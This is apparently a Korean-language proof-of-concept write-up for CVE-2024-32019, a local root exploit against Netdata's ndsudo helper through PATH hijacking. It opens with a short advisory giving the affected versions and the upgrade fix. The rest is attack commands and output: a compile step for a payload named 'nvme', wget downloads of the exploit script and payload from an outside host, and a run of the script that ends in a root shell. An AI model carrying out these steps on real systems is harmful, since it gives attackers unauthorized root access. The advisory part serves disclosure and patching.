
Netdata ndsudo 권한 상승 PoC
CVE-2024-32019는 Netdata의 SUID 헬퍼 ndsudo에서 발견된 로컬 권한 상승 취약점으로, 신뢰할 수 없는 검색 경로(PATH 하이재킹)를 통해 로컬 사용자가 임의의 프로그램을 root 권한으로 실행할 수 있게 합니다.
이 문제는 ndsudo가 명령 이름을 제한하지만 호출자의 PATH를 사용하여 명령을 해석하기 때문에 발생합니다. 이로 인해 사용자는 악성 바이너리를 PATH의 앞부분에 배치하여 ndsudo가 root 권한으로 실행하도록 만들 수 있습니다.
영향을 받는 버전은 Netdata Agent ≥ v1.45.0 및 < v1.45.3, 그리고 ≥ v1.44.0-60 및 < v1.45.0-169이며, CVSS v3.1 점수는 8.8(High)입니다.
완화 방법은 v1.45.3 또는 v1.45.0-169로 업그레이드하는 것입니다. 해당 취약점은 CWE-426(신뢰할 수 없는 검색 경로)에 해당합니다.
gcc -static payload.c -o nvme -Wall -Werror -Wpedantic
test@ubuntu:/tmp$ wget http://192.168.100.7:8000/CVE-2024-32019.sh
--2025-09-10 23:49:01-- http://192.168.100.7:8000/CVE-2024-32019.sh
Connecting to 192.168.100.7:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 712 [application/x-sh]
Saving to: ‘CVE-2024-32019.sh’
CVE-2024-32019.sh 100%[==================================================>] 712 --.-KB/s in 0s
2025-09-10 23:49:01 (57.1 MB/s) - ‘CVE-2024-32019.sh’ saved [712/712]
test@ubuntu:/tmp$ wget http://192.168.100.7:8000/nvme
--2025-09-10 23:49:10-- http://192.168.100.7:8000/nvme
Connecting to 192.168.100.7:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 832552 (813K) [application/octet-stream]
Saving to: ‘nvme’
nvme 100%[==================================================>] 813.04K 1.98MB/s in 0.4s
2025-09-10 23:49:11 (1.98 MB/s) - ‘nvme’ saved [832552/832552]
test@ubuntu:/tmp$ sh CVE-2024-32019.sh
[+] ndsudo found at: /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
[+] File 'nvme' found in the current directory.
[+] Execution permissions granted to ./nvme
[+] Running ndsudo with modified PATH:
root@ubuntu:/tmp#